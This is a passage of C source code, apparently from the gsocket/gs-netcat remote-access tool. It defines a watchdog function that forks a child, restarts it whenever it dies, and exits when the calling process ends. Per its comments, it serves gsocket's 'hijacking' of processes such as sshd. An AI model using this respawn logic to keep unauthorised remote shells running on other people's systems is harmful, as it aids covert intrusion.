1; GS_SELECT_FD_SET_W(p->gs); } /* * Duplicate the process. Parent to check if child dies by monitoring stdin * socketpair to child and parent also monitors its own stdin to * check if calling process has died. * * If child dies then fork again. * This function is different to GS_daemonize * -> ppid is not 1 (not becoming a daemon). * -> not using wait() to check for child's death * -> This parent does not become a new session leader (no setsid()). * * This function is used when gsocket hijacks a process and needs to spawn * a gs-netcat process. The gs-netcat process needs to monitor when the calling * app exits (and this can only be done by monitoring when its own stdin becomes * unavailable). * * This funciton loops forever and never returns. */ void gs_watchdog(void) { pid_t pid; pid_t ppid = 0; pid_t ppid_now = 0; struct timeval tv; struct timeval *tvptr = NULL; while (1) // LOOP FOREVER { int fds[2]; socketpair(AF_UNIX, SOCK_STREAM, 0, fds); pid = fork(); XASSERT(pid >= 0, "fork(): %s\n", strerror(errno)); if (pid == 0) { // CHILD close(fds[1]); dup2(fds[0], STDIN_FILENO); return; // CHILD continues to execute } // PARENT: close(fds[0]); ppid = getppid(); // fdsp[1] is a socket to the child. We can detect when it dies.... fd_set rfds; int n; while (1) { FD_ZERO(&rfds); if (tvptr == NULL) { FD_SET(STDIN_FILENO, &rfds); } else { // Poll and check ppid has changed XASSERT(gopt.is_internal != 0, "tvptr=%p but not internal(=%d)\n", tvptr, gopt.is_internal); tv.tv_sec = 5; tv.tv_usec = 0; } FD_SET(fds[1], &rfds); n = select(fds[1] + 1, &rfds, NULL, NULL, tvptr /* NULL unless is_internal */); if (n < 0) { if (errno == EINTR) continue; exit(EX_BADSELECT); // FATAL } // Detect if the parent dies (e.g. STDIN closes). // A special case is 'sshd -d': SSHD closes all 'not needed' FDs // (including our IPC). We need a different way to check if // parent died in addition to checking if our IPC got closed: // Check if ppid has changed as well as IPC closed (parent is really dead). if (FD_ISSET(STDIN_FILENO, &rfds)) { ppid_now = getppid(); DEBUGF_Y("Watchdog: EOF on STDIN. (parent=%d died or closed IPC. ppid_now=%d)?\n", ppid, ppid_now); if (gopt.is_internal == 0) exit(0); // NOT ./gsocket <app> if (ppid_now < ppid) exit(0); close(STDIN_FILENO); tvptr = &tv; } if (tvptr != NULL) { // Check if ppid has changed. Exit if it has. ppid_now = getppid(); if (ppid_now < ppid) { DEBUGF_Y("Watchdog: PPID=%d changed (was %d). Parent is dead(?)\n", ppid_now, ppid); exit(0); } } if (FD_ISSET(fds[1], &rfds)) { // Oops. Child died. Restart. close(fds[1]); sleep(5); // Grace period to prevent exessive restarts... break; } sleep(1); // Grace period (not needed, unless select() goes haywire...) } } // NOT REACHED }